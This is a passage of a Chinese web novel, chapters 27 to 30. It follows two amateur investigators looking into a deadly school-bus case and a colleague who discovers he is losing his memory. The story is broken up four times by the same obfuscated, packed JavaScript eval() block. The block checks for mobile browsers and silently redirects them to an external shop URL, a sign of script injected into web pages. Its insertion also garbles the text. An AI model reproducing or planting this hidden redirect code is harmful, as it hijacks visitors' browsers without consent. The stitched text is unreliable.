;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187537|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所以几乎没什么东西遮挡视线。更难得的是,今天晚上出现了很多星星。
面前依旧是漆黑的村子,落入眼中的却是一片繁星。
柳南絮只是闭着眼睛,并没有睡着,在莫宁下车后睁开眼看向她,直到她要往前走,只身闯入一片漆黑中才下车陪同。
到了家门口,莫宁没有停下,带着柳南絮继续往前走。
脚底的路从土路变成水泥路,在又即将变成土路的时候两人一前一后停下。
莫宁掏出手机,打开手电筒对着前面照过去,说:“柳南絮,你看,这后面全都是庄稼地。”
“嗯。”
“你能看到里面的坟堆吗?”
莫宁没听到柳南絮的回答,举着手机晃了晃,打出来的光也跟着晃动,再次问:“看不到吗?有好多。”
手机上面的手电筒射程并不算远,黑夜自然受不了多大的影响。向前看去的视线依旧模糊,勉强可以看见最近的坟堆。
柳南絮之所以不说话,不是因为看不清楚,而是不太能理解莫宁大半夜拉着他看坟堆的这种行为。
面前的光束还在摇晃,柳南絮不得不开口,说:“别晃了,能看见,想说什么?”
“哦,能看见就应一声呗!”
莫宁关了手电筒,把手机揣进口袋里。
“江姐今天告诉我说,她之前没离婚的时候,虽然和前夫一家住在太阳花幼儿园附近,但那只是结婚前买的商品房,她前夫是镇东村的人,所以她的儿子张子晨埋在这里,就我发你照片上的小孩儿,我这不是想着来看看嘛!”
手电筒一关,眼前彻彻底底被黑暗遮盖,莫宁说出来的话被渲染得更加伤感,柳南絮侧低头看了看她,像是活跃气氛地开玩笑问:“拉我一起?”
“我一个人害怕还不成。”莫宁小声嘟囔地说完,又开始给自己找借口,“白天我要上班,只有这会儿有机会看,再说了,不让你看回头你又觉得我瞒着你怎么办?”
“太大方了。”柳南絮由衷夸赞完,开始套路,道,“这话我是不是可以理解为,你之后都不打算瞒我,做到信息及时共享?”
套路太明显,太直白,莫宁一眼识破,说:“看我心情,更要看你表现,既然说到这儿了,你有没有瞒着我的线索?”
柳南絮简直都可以大喊冤枉了,坦诚道:“我可是一有线索就和你说了,至于你,我不强求,随你开心。”
起风了,凉意并没有想象中那样凶狠地吹过来,莫宁下意识抬头看了一眼柳南絮。
对方的发丝飞扬,外套的衣角也翻飞着。
看着看着,莫宁被极少的凉意拍打了一下裸露在外的肌肤,兴许加上置身漆黑中,她忍不住打了一个寒颤。
柳南絮站的位置要比莫宁向前半步,没站在水泥地上,实打实踩着土地。之前莫宁并没过于注意柳南絮的行为,风一打过来,她估摸出了点身侧人的用意。
27. 第二十七章
挡风吗?
应该是。
莫宁不确定地在心里自问自答。
柳南絮在莫宁心里,是一个整天拽着张脸,内心冷淡到过分的小孩儿,但这个小孩儿又总是把表面功夫做得超乎极致的完美,连任何小细节都能把控得很好,以至于深受大家的喜爱。
在这样的基础上,莫宁认定柳南絮就算是真的在给她挡风,也不过是在维持“好人”的人设,内心的触动当即减少一半,更是直接反映在了言语上。
“我能告诉你的都告诉你了,我也没什么隐瞒你的。”
明知道自己被骗,柳南絮竟然还笑了出来,问:“是吗?能告诉我的都告诉我了,不能告诉我的有空也和我说说呗!”
“我,”莫宁卡了一下,重说,“你想知道什么?”
柳南絮背起手,目视前方,笑意也被很好地收了起来,说:“算了,仔细想想其实也没什么想知道的。”
他突然来这么一出,莫宁更觉得应该说点什么。思来想去,把今天晚上的事说了。
反正本来也是要说的。
今天上班的时候莫宁收到了同事给的一包面包,觉得很好吃,特意要了购买的地址,一下班就前往超市买面包。
超市离上班的地方不远,但是因为莫宁不舍得花钱,一次都没有来过。平时买菜的话都是网购到家附近,下了班直接过去提走,以至于超市现在对她来说都有点陌生。
面包是散装的,莫宁提着去称重的时候碰上了江玉蓉。
好巧不巧,江玉蓉穿着超市的工作小马甲,刚好是那里的工作人员。
两人四目相对,互相冲对方笑了笑。
止了笑,江玉蓉先开口邀请莫宁到家里坐坐。莫宁不好意思拒绝,答应了。为此,江玉蓉怕莫宁等急还特意和同事换了班。
一路上,江玉蓉要么为自己昨天的举止道歉,要么为莫宁的善意表示感谢。
期间莫宁几次想开口问话,可是由于人来人往觉得不合适,只好在江玉蓉道歉的话后面紧跟“不至于不至于”,表示感谢的话后面紧跟“小事小事”。
到了江玉蓉的家,莫宁才惊奇地发现她住的地方离心理咨询工作室真的很近。
进了门,江玉蓉让莫宁坐下,一边给她倒水一边说:“真是太谢谢你了。”
莫宁还真有些口渴,接过水,喝水之前匆匆说:“您已经说很多谢谢了,真的不是什么大事,我并没有帮到您什么。”
“你是不知道,我昨天和你聊了聊,晚上回来睡觉睡得可安稳了,自从我儿子去世后我已经很久没睡那么舒服了。”江玉蓉说话的时候一直往左侧看。
莫宁顺着她的视线也看过去,看到那里是一个小书架,最上面的一层摆着几个相框。
相框里面的小男孩儿脸颊鼓鼓的,很可爱。她看了后一眼就立刻认出是死亡校车里面的受害孩子之一,心里面满满都是难过和心疼。
为了给自己遮掩不住的情绪一个理由,莫宁开口问:“为什么没有你的照片呀?”
摆出来的那些照片中,要么是小孩儿的单人照,要么是小孩儿和一位老年女人的合照,要么是小孩儿和一位男人的合照,要么是他们三人的合照,总之不管哪一张上面,都没有江玉蓉,连单人照都没有。
“我,我,”江玉蓉支支吾吾了一会儿,给出一个漏洞百出的谎话,“我不喜欢拍照,我拍照不好看的,不上镜,也放不开。”
莫宁没有拆穿江玉蓉,恍然大悟地说:“原来是这样,不过您长得这么漂亮,完全多虑了,以后有机会的话多照照相,开心开心。”
江玉蓉现在就被莫宁的话哄得很开心,站起身去卧室找更多的相册和相框,莫宁趁机拍了一张小孩儿的单人照发给柳南絮。
江玉蓉急于分享似的抱着一个鞋盒子出来,一张张翻给莫宁看,还介绍说她儿子叫张子晨,是太阳升起的时间点出生的。
手上翻着照片,江玉蓉说:“我常常一个人看这些照片,精神状态不好的时候会看,睡不着的时候会看,没事的时候也会看,可惜照片对我的用处不大,不能安抚我的精神状态,也没法帮助我睡个好觉。”
这话没错,好端端的儿子变成了一张单薄的照片,换成谁心里面都难受,睹物思人有时候更难受。
莫宁不想扯什么干巴巴的话安慰,她想站在江玉蓉身后,所以要来笔和本子,写下了自己的手机号码,说:“如果您以后晚上睡不着,或者特别伤心的时候,可以给我打电话。”
笔是半截铅笔,本子是小孩子学写字的田子本,都是张子晨的。江玉蓉拿的时候,手都在小幅度抖动。
得到莫宁的手机号码,江玉蓉更加开心,说:“昨天一看到你,我就有种很熟悉的感觉,总觉得我们在哪儿见过。”
紧接着又像是怀着希望似的反问:“我们见过吗?”
莫宁摇摇头,说:“抱歉,我不记得我们见过。”
江玉蓉短短地吐出一个“哦”字,又说:“那还真是可惜。”
见对方低下头,又要把思绪往照片上放,莫宁抓紧时间问道:“所以您抓住我是因为认错了人?”
江玉蓉摇摇头,站起身走到窗边,还示意莫宁到跟前。
莫宁照做,学着江玉蓉把视线投向下方,不远处,太阳花幼儿园尽收眼底。
这种发现让莫宁生出毛骨悚然的感觉,有种即将有什么危险降临的征兆,她暗中更加谨慎地观察江玉蓉,甚至都已经悄悄把手机握在了手里,只要遇到危险就不顾一切报警。
好在设想中的风浪没有出现,不过江玉蓉下面的话更加引人深思。
“我和前夫没离婚的时候住的房子是领证之前买的,写的是他的名字,离了婚归他,财产什么的也早就被前婆婆转移了,所以我并没有分到多少钱。”
“这附近都是学区房,其实我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187538|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以住到郊区,毕竟那里的房子便宜,可我就是想往这边租,租一间能看到太阳花幼儿园的房子,当初为了租这间房,身上的钱花去小半。”
下面的太阳花幼儿园早已经放学没人了,莫宁却还是把视线停在上面,故作随意地问:“您的儿子是在太阳花幼儿园上的学吗?”
“对,所以我就想着站在这里远远看看他,我也知道他不会再出现在太阳花幼儿园的校门前,可是我……”江玉蓉不由得一阵哽咽,“我想他了。”
“他还那么小,莫宁,我儿子死了,我这辈子都当不了妈妈了,如果可以,我想用自己的命换儿子的命。”
在这之前,莫宁见过江玉蓉懦弱、卑怯、害怕、无奈的样子,误以为她是一朵因为过了季,所以缩藏起来要败谢的花。
现在看见江玉蓉哭了,莫宁意识到自己面对的其实是一位饱经风霜的女子,她收敛了自身的锋芒,学会了隐忍和大度,奉献余生,只为对得起自己身上的几个标签——妈妈、妻子、儿媳。
江玉蓉的行为举止不是缩藏,更和败谢、过季、花朵挂不上钩,她是一棵历尽苦难,懂得了弯腰祈祷的参天大树。
失去儿子的悲伤实在太大,莫宁不知道该怎么劝说,只好抱住江玉蓉轻轻拍拍她的后背。
怀里的女人慢慢平复好心情,从莫宁怀里出来后边抹眼泪,边整理仪容,然后抱歉地笑了笑。
莫宁帮她顺了顺发丝,开口问道:“江姐,我忘了问,如果我们连见都没见过,你也没认错人,为什么要在太阳花幼儿园校门前抓住我呢?”
“我站在这个窗户边往下看,一个原因是盼儿子,一个原因是注意年轻的小姑娘。”
江玉蓉眼睛里面的情绪多了几分怜悯。
“我遇人不淑后悔了,所以不想还有姑娘像我一样,在二十岁的年纪,还是多读些书,在社会上好好打拼一阵子比较好,不要总想着投身家庭。”
莫宁明白了,总结道:“所以你不是碰巧在路边遇到我了,而是因为在这里看见了我,所以才过去的?”
江玉蓉点点头,说:“见到你,我想起自己上大学,没有结婚的时候,所以想问问你的家庭怎么样,丈夫对你好不好,婆婆有没有刁难你,孩子听不听话,只是从我搬来这里,还是第一次见到你这个年纪的小姑娘站在太阳花幼儿园校门前,所以一时间有些着急,情绪不稳了。”
“第一次?”莫宁有点不敢相信。
江玉蓉右手扶了扶左手的手腕,不自在地笑了一下,解释道:“可能主要原因是以往太阳花幼儿园放学的时候我还在上班,赶上放学的时间段看的时候不多,昨天是因为我同事和我换班,所以下午没去上班,然后就看见你了。”
那还真是缘分。莫宁心想。
后面的时间,江玉蓉又开始抱着相册给莫宁讲往事,期间一次都没有离开,莫宁根本没机会看手机,更别说回柳南絮的消息了。
28. 第二十八章
听莫宁讲完,柳南絮终于有了动作,打开手机看了一眼时间,淡淡道:“行,我知道了,时间不早了,我送你回去。”
“哎!柳南絮,”眼前明明是无尽的黑暗,柳南絮的声调和平常也没什么不一样,可莫宁就是察觉出他在不高兴,“你生什么气啊?”
“没生气。”
柳南絮说完,停下脚步,重新说:“以后有特殊情况先给我发个定位,别轻易行动。”
莫宁不确定柳南絮这样说究竟是为了做足表面上的热心,还是因为许阿姨的叮嘱才会多照顾她,便打着哈哈,道:“放心,我这么大一个人,心里有数。”
也不知道是哪一下脚步惊动了村民家养的狗,一声声狗吠撕裂黑暗传来,让原本死寂的村庄在瞬间中活了过来。
看着莫宁进到院内,从里面上了锁,柳南絮才独自一人在夜色中回家。
狗吠声越来越远,越来越远,直到听不见,泥土和麦田的味道也渐渐从空气中抽离出去,周遭的光景“唰”地一下变亮,晚归的人到家了。
许静和柳洪兵已经睡下了,电饭煲散发着荧绿色的光,选项停留在“保温”上面。柳南絮没有忽略这份来自长辈的爱意,吃了饭,收拾妥当,倒没进卧室睡觉,而是去了书房。
灯没有被打开,拖鞋在地面上摩擦的声音原本很细微,在这种氛围下被无限放大。
关了门,他在黑暗中轻车熟路找到椅子躺下,没有整理新得到的线索,没有翻看复杂的专业书籍,柳南絮放空大脑,尽量让自己处于放松的状态。
今天晚上的这一阵情绪来得没有道理又理直气壮,他堪堪撑到现在,着实不容易。
柳南絮能察觉到,情绪的出没是因为听了莫宁最后的话,只是想不通为什么。
莫宁于自己,不过是一个合作方,合作方接不接受自己的好意完全是对方的事,自己根本没道理这么失落。
一直以来,内冷外热的性子让柳南絮在社交中很好的明哲保身,这门生活技巧应用至今,使得他突然意识到,自己都分辨不出到底是在真心实意地关心莫宁,还是下意识为了表示礼貌才去关心。
柳南絮把胳膊搭在额头上,妄图驱散乱七八糟的想法,可是没能成功。
于是又开始想,自己是从什么时候开始在意莫宁的?原因又是什么?
令人压抑的书房伸手不见五指,悄无声息地放大一切负面情绪,屋子的主人沉沦在作茧自缚中,直到天光放亮。
可惜,柳南絮终究没能得出个结果来,匆匆把“因为莫宁太可怜了”这个原因塞给自己,在洗漱中整理好情绪,然后照常开始一天的工作,整体状态丝毫看不出他一夜未睡。
今天倒不是多忙,中午,柳南絮打算回家补觉,上车拿起茶杯喝了一口浓茶,刚拧紧茶杯盖子,便看见宋彩彩的女方家属在不远处过马路。
几天前,也就是发现宋彩彩的墓碑那天,两位家属扫过墓后又去了全健福利院,当时柳南絮隐隐觉出些关联,但是事情没有被证实,便没有把猜测告知给莫宁,想有空去福利院内探查一番再说。
所以现在再看见宋彩彩的家属,柳南絮没有轻易上前搭话,掏出手机上网,在顶端搜索栏那里输入“临平市全健福利院探望条件”。
第一条词条介绍得很详细,其中包括预约电话。
柳南絮照着拨打过去,电话提示音响了几秒被人接听,听声音很年轻,应该是志愿者。
做完自我介绍、表明来意后,对方介绍了福利院的规章制度,柳南絮询问了福利院目前紧缺的物品,双方就此确定好下周二的日期。
柳南絮揉了揉后脖颈,发动车子回家,经过宋彩彩女方家属刚才过的马路口的时候留意了一眼,在“物流区”的一个门店外看到男方家属后把车停靠在路边下车。
“物流区”这片区域主要分两大部分,前面是一排门店,后面是仓库,由于需要卸货停车,门店前面的道路被城市建设局特意加宽了。
相关部门之所以不让南巷街发展成小吃街除了阻碍交通,还有一个原因是因为离物流区太近。
本来物流区这边装货卸货的声音就大,政府已经收到了不少意见,再让那边的街道变成闹哄哄的小吃街,附近居民的生活将会受到更加严重的影响。
大货车的车厢还很空,货物每往上面放一下都会发出巨大的动静,宋彩彩男方家属脚边的尘土被搅和得很高。
这位辛劳的男人擦了一把额头上的汗,之后扯掉手上的白手套,招呼几个工人休息吃饭。
死亡校车的受害者多达九人,对家属造成的伤害沉重巨大,那些被藏起来的三百条左右的评论足以证明这点。
亲情是每个人心里都不可被替代的情感,遗漏一点就缺一块,时间或许会让我们慢慢冷静,但绝对没办法完全修补好。
根据推断出来的时间,事情发生已经过去五年,柳南絮敢说就算记忆被篡改,肯定还是会有不少像江玉蓉这样没有释怀的家属,所以现在见到宋彩彩家属平淡的生活,心里面不由得生出一丝安慰。
手机铃声把柳南絮的思绪打断,屏幕上显示着来电人。
是许静打来的。
柳南絮提前告知过许静中午回家吃饭,打这通电话是对面见人迟迟不回家确定一下。
报了平安,柳南絮重新启动车子往前走。
由于没有什么关于死亡校车的线索发现,一连几天,莫宁和柳南絮都没有联系,柳南絮连记录死亡校车线索的软皮本子都没有再碰,生活一时间仿佛回到了两人没有遇到之前的样子。
柳南絮还是那个对待来访者严谨温和,私底下不怎么会聊天开玩笑的心理咨询师。
莫宁还是那个既想尽快破解死亡校车,又想努力抓住安全感的实习期姑娘。
直到要去全健福利院的前一天,挂断最后一通网络咨询电话时已经临近下班,柳南絮索性收拾好东西下楼卡点回家。
李乐正在对着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187539|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小镜子涂口红,即便这样,也不愿意把嘴闲着,问柳南絮道:“柳老师,你明天有什么安排呀?我知道一家特好吃的烤肉店,经济实惠,你可以带莫宁去吃。”
柳南絮手里捧着一本书,闻言抬起头,好几天没有听到这个名字,现在竟有点陌生。
这一发现让他忍不住微微皱眉,道:“我和莫宁没什么关系,你别乱想。”
“好吧好吧!我懂。”李乐说完还捂住嘴偷笑起来。
柳南絮懒得把话再重复一遍,便回答她的问题,希望把话题岔开。
“我明天要去福利院。”
“柳老师,”李乐相当浮夸地睁大眼睛,“就休息一天,你还去福利院,您这么有爱心的吗?”
李乐的反应让柳南絮意识到岔开话题并不是最好的选择,干脆闭上嘴不说话了。
看了看时间,刚好六点半,正准备起身下班,赵安梦也下楼了。
赵安梦人还在楼梯上就把话接下,柳南絮无视的话题被她一句话轻轻松松捡起来。
“谁要去福利院呀?”
李乐盖上口红,说:“自然是大善人柳老师啊!”
下了班,赵安梦心情很好,问柳南絮道:“我过几天休息也要去,去全健福利院,你去哪家?”
柳南絮礼貌回答:“也是全健。”
“这么巧啊!”赵安梦脸上的笑容更大了,“那你预约了吗?进去的话是要提前预约的。”
柳南絮点点头,说:“前几天打过电话了。”
李乐见俩人聊的话题自己插不上嘴,叹了口气,托着腮看着他们说:“原来有两个大善人啊!我还没去过福利院呢!我本来以为去那里都是想领养孩子的。”
“我就是陪姨妈去看孩子的,怎么?”赵安梦看着李乐说完,又把目光移向柳南絮,“柳老师不是吗?”
见柳南絮摇头,赵安梦不好意思地笑了笑,解释道:“哦,我以为你也是陪家人去看孩子的,想着怎么会有这么巧的事。”
赵安梦口中说的“看孩子”大概率不只是简单的“看看”,柳南絮无意打探同事家人的隐私,只是隐隐觉得可能会有什么新发现。
这不是在咨询室,赵安梦也不是他的来访者,要是追问,到底不太礼貌。
柳南絮还在心里纠结,李乐已经大大方方问出来了。
“我听人说领养孩子的条件很严格,你姨妈是不打算要自己的孩子吗?”
听到李乐的话,赵安梦整张脸立马拉下去,走到沙发上坐下,迟迟不说话。
平时不论什么时候见到赵安梦,这姑娘都是笑着的,哪怕嘴上抱怨“上班好烦,不想上班”,给人的感觉还是很阳光,一点沮丧都看不出来。
眼下见她这个样子,李乐意识到自己说了不该说的话,连忙从柜台后面出来,慌里慌张地道歉。
赵安梦摆摆手,说:“没事没事。”
话是这样说的,人看起来一点都不像没事的样子。
29. 第二十九章
“怎么了?”柳南絮收起冷冰冰的样子,尽量让声音听起来温和,建议道,“如果是有什么伤心事,愿意和我们谁聊聊都可以,刘哥也还在办公室没下班。”
心理咨询师不能主动找来访者,也禁止亲密关系,双重关系和多重关系虽然没有明令禁止,但不利影响很大。
柳南絮从不给有着双重关系或者多重关系的人进行咨询,所以,他给赵安梦的建议,并不是想要和她建立咨访关系,而是单纯以朋友的身份聊天。
“我姨妈她之前有过一个孩子,只不过……”赵安梦没再往下说,愣愣地盯着面前的地面。
柳南絮根据她的状态猜到没说完的话可能是什么。
或许是因为这段时间深受死亡校车的困扰,现在一察觉到这种事,他下意识就会觉得两者之间可能存在联系。
李乐更加自责自己多嘴,气氛不妙到极致,好在楼梯上传来一阵很轻的脚步声,人影从楼梯转弯处拐出来,是刘景。
“哟!都没走呢!”刘景手指上转着车钥匙,在转出楼梯后也不压着脚步了,走路的脚步声比刚才重些,“今天怎么了这是?”
“聊会天儿。”柳南絮解释完,站起身给赵安梦接了杯水。
刘景没太在意,连脚步都没怎么停顿,一边往前走一边叮嘱道:“成,那你们聊,我先走了,回家的时候记得把门窗都关严。”
天边五彩斑斓的晚霞落幕之前,心理咨询工作室落了锁。
柳南絮确实很想知道详情,但由于这种事情过于隐私,赵安梦的状态也不好,所以直到最后都没提出一个问题。
马路对面的一辆黑色越野车内,刘景状态悠闲,他没有离开,一直注视着心理咨询工作室。再往前推的话,就是因为听到了一楼的动静,他才下的楼。
三人如同往日一样在店门前分开,刘景盯着远去的柳南絮看了一会儿,掏出手机调出下楼前的监控,想看看三个人的状态。
监控上的画面很清晰,李乐自从意识到自己说错了话就一直处于自责,赵安梦的情绪由高兴到几近崩溃,柳南絮和往常一样,给了十分合理的建议。
把那几分钟的画面来来回回看了几遍,刘景确定柳南絮对赵安梦所说的话题很感兴趣,只是表现得不是很明显。
刘景疲惫地摘掉眼镜,揉了揉鼻梁,然后从手提包里面掏出一个软皮本子。
“去福利院”这件事虽然很有意义,可是刘景认为如果不是有必须要去的理由,柳南絮是不会往这方面想的。
如果没有这个软皮本子,他只会认为柳南絮是在忙些什么,之后也不会刻意留意后续。
但有这个软皮本子,就不一样了。
翻开来看,里面的笔记写得有些乱,内容更是不论再看多少遍都令人心生震惊,有些字眼如同张着嘴般可怕。
刘景手里的软皮本子正是柳南絮用来记录死亡校车的那个。
前几天中午,柳南絮回家吃饭走得太匆忙,本子落在前台都没注意到。
刘景和李乐定了一家的外卖,商家把两份饭装在了一起,在前台解塑料袋的时候不小心把本子碰到了地上。
刘景弯腰捡的时候看见了上面的内容,起身后装作随意地问李乐,道:“这本子是你的?”
“不是啊!”李乐一门心思扑在外卖上,“应该是柳老师的。”
“你确定不是哪位上门咨询的人落下的?”刘景确认了一遍。
李乐以为刘景是趁机检查工作,把目光从外卖移到了软皮本子上,认认真真地说道:“确定不是。”
“行,我知道了,你好好吃饭。”刘景端上饭,连带软皮本子一起回了二楼办公室。
刘景不是故意不还给柳南絮,一是迟迟没找到合适的机会,二是没想明白里面的内容,不知道柳南絮平日里在忙些什么奇怪的事。
在捡到软皮本子之前,刘景对柳南絮的关心完全是因为觉得这小伙子心思太重了,感觉下一秒就扛不住会栽倒一样。
捡到软皮本子之后,虽然里面的内容让他百思不得其解,但总算知道柳南絮这段时间眼底的黑眼圈是怎么来的了。
“再看看吧!”刘景说完又吐出一口气,只觉得脑容量快不够用了,“你这小伙子太不让人省心了。”
自言自语说完,刘景合上软皮本子,重新把它放回手提包里,启动车子回家。
天公不作美,次日乌云蔽日,柳南絮依照生物钟醒来,吃过早饭后先到超市采购,然后到镇东村接莫宁。
阴沉沉的天气,莫宁为了不感冒生病把自己裹成了粽子,往村口一站,特别好找。
本来柳南絮没打算让莫宁跟着,毕竟她要上班,但避免这姑娘疑心故意瞒着她,昨天晚上柳南絮专门把今天的行程以发消息的形式告知给她,没想到莫宁直接发来四个字——我也要去。
柳南絮好心提醒她请假扣工资,妄图以金钱的诱惑让莫宁专心工作,还保证有线索一定会如实告知,结果他这边消息还没有编辑好,莫宁那边就已经和老板告好了假,还甩过来一张截图。
见她这么执意,柳南絮只好把编辑的内容全部清除,简短地发过去一个“好”字。
莫宁不知道自己站在村口有多好认,见到柳南絮的车开心地冲他挥手,还是两个胳膊一起的那种。上了车,又因为穿得太厚,安全带怎么都系不好。
柳南絮看得有些无语,只好上手帮她,完了忍不住吐槽:“莫宁,我过冬都没你穿得这么厚。”
车内开着暖气,才坐这几分钟莫宁就感觉到了热,正在想要不要解开安全带脱两件衣服,便没怎么细品柳南絮的话,顺嘴回道:“冬天不是才过去吗?过什么冬?”
柳南絮听出莫宁的智商下线了,也看出莫宁觉得热,垂手去扣副驾那边安全带的卡槽,帮她解开安全带后把头扭到一边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187540|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡淡地说:“脱吧。”
“哦!”一连脱了三件衣服,莫宁才感觉自己终于活了过来,轻轻松松系好安全带,提醒柳南絮可以出发了。
柳南絮往莫宁身上瞥了一眼,见她笑嘻嘻地坐着,怀里还抱着一堆衣服,看着自己活像乖乖等表扬的小朋友。
不知道出于什么样的心情,柳南絮下车拿走莫宁抱在怀里的衣服,只给她留了一件外套,把一薄一厚两件毛衣全都放到了后座上。
阴雨天看不太出时间的变化,莫宁时不时扫一眼显示屏上的时间,玩手机也只是解个锁又关上。
柳南絮在等红绿灯的时候终于忍不住开口,问:“一分钟看八次时间,你这么兴奋干什么?”
“我还没去过福利院,好奇紧张还不行吗?”莫宁对柳南絮的话其实没太在意,回话的时候扒着车窗看外面的风景。
柳南絮也往车窗外看了一眼,实在想不通庄稼地有什么好看的。正想提醒莫宁此次去福利院的真正目的,刚好红灯结束,绿灯亮起,车子的启动声当即把他准备说出口的话卷走。
嘴巴张开又带着点无奈的意味合上,刚好被四处张望的莫宁看见,她好奇地追问柳南絮想要说什么。
“就是突然想问问你有没有什么才艺。”这是临时扯出来的借口,柳南絮说完,为了不伤害到莫宁的自尊心,补充道,“没有也没关系,不是什么大事。”
“你瞧不起谁呢!”要不是系着安全带,莫宁怕是都叉上腰了,“我可是舞蹈艺术生。”
莫宁的话堪比一个重磅消息,柳南絮小小震惊了一下,心想:还真没看出来。
“不过我好像从来没有和你说过,我的工作是在舞蹈室当助教老师。”莫宁没了刚才的嚣张气焰,乖乖坐好,妥协地说,“好吧,我没有提前说,你不知道情有可原。”
兴许是聊了天的缘故,莫宁没再频繁去看时间,改成靠着座椅闭目养神。
养着养着,直接睡着了。
听着身侧微弱的打鼾声,柳南絮感觉心情还挺好。
湿冷的风扑打在没有遮挡物的行人身上,车内的人因为过于安逸控制不住警惕性,屋子里面的人因为无聊已经开始瞎捣鼓起了电脑。
刘景闲来无事点击着清理垃圾,加载完毕后内存空间直接腾出几个G。又胡乱点一通,把搜索记录点了出来,他在点击“全部删除”之前特意先检查了一遍,瞬间注意到自己查过五年前的轰动性社会新闻,搜索时间是在上周三。
这条搜索记录在一众和专业相关的问题中尤为格格不入,刘景不禁往搜索的时间年份上留意了一下。
由于连续几天被柳南絮的软皮本子摧残,他现在就算不理解,对里面的内容也称得上熟记于心。看着电脑屏幕,自然而然把搜索记录标题上面的年份和写在软皮本子里面的一个年份挂上钩。
为防止出错,刘景还掏出软皮本子比对了比对。
30. 第三十章
一个由四个数字组合成的过去年份占了将近半页纸,并且还被人用笔圈了一下,圆圈下面还有好几道横线。
字迹嚣张且放肆,就像是在……庆祝着什么。
软皮本子着重标记的年份和搜索记录里面的年份一模一样。
这让刘景更想不明白了,如果是在自己捡到柳南絮的软皮本子之后搜索的还解释得通,可偏偏不是,那自己到底会处于什么情况,出于什么目的搜索五年前的社会新闻呢?还专门搜索的是因天气引发轰动性的那种。
“轰隆”几声,雷声夹杂着闪电打下来,把敞开的窗户震得发出声响,窗台边的盆栽更是在受了惊吓后抖掉几片叶子。
憋了几个小时的雨水终于冲破乌云,往下“劈里啪啦”一通乱砸,落得毫不客气。
雨珠比柳南絮的字迹还要嚣张,嫌降落在外面太拥挤,盯上了刘景的办公室,哪怕拐着弯也想顺着窗口溜进室内。
在出神的这会儿功夫中,刘景的后背已经惨遭雷阵雨大军侵犯湿了一片。奈何他现在一门心思投入在回忆中,浑然不觉扑到身上的凉意。
雷声毫无规律的冒出来,时而把窗户吓得哆嗦几下,时而把盆栽惊得再掉几片叶子。
第数道闪电打下,光线把房间照耀得忽明忽暗,紧接着从楼下传来一阵声响。要不是动静被雨声、雷声夹杂着,那声音肯定会很清脆。
刘景像是终于被惊到了一样,又像是才感觉到凉意,慢了不止一个拍起身把窗户关严。
胡闹的雷声骤然被双层玻璃阻挡在外,传到里面的音量在原本的基础上降了一半多。
关了窗,刘景却没有再坐回去,而是愣愣地看着雨幕。
他终于想起来了……
想起柳南絮在大学时给自己发的短信,“浓雾”、“小孩子”、“重大社会新闻”……
关键字眼依旧来势汹汹,不停地在刘景脑海中盘旋,他忍不住想:按理来说看到本子的内容也应该全都想起来,怎么感觉自己的记忆像是出现了断层一样?
之前想到的那几个关键字眼重新想起来依旧很不对劲,只不过,自己到底为什么会忘了呢?
这太奇怪了,哪怕自己这阵子再忙,也不至于上周三才想过的事,这么快就给忘得一干二净了。
哪怕忘了,到现在不过才一个星期的时间,根本不会出现“连看着搜索记录都想不起来”的状况。
刘景从小到大,从没有被任何人夸赞过记忆力出众,他的好成绩全都是用比别人成倍的努力换来的。在“读书”这件事上,刘景可以称是毫无天分可言。
但他不比柳南絮,刘景的自信是在被知识熏陶之后从骨子里面流露出来的,不论是哪一种外表下都埋藏着蠢蠢欲动的野心,所以,他相信回忆上周重要的事对自己来说不是一件难事。
可偏偏就是给忘了,并且想了这么久才勉强想起来。
如果时间长一些,别说会回想了,怕是真的什么都会忘记。不经意的发现让刘景毛骨悚然,心中迸发出比雷声刺耳千百倍的警报声。
失忆?
失忆。
失忆!
这两个字似乎很高频地出现在软皮本子里,刘景本来想先平复一下心情,再靠近电脑桌上摊开着的软皮本子。
他留给自己长达一分钟的时间调整情绪,却以失败告终。
平日里的技能技巧在此时全都失了效,刘景实在难受,出现这种情况同样过于不正常。
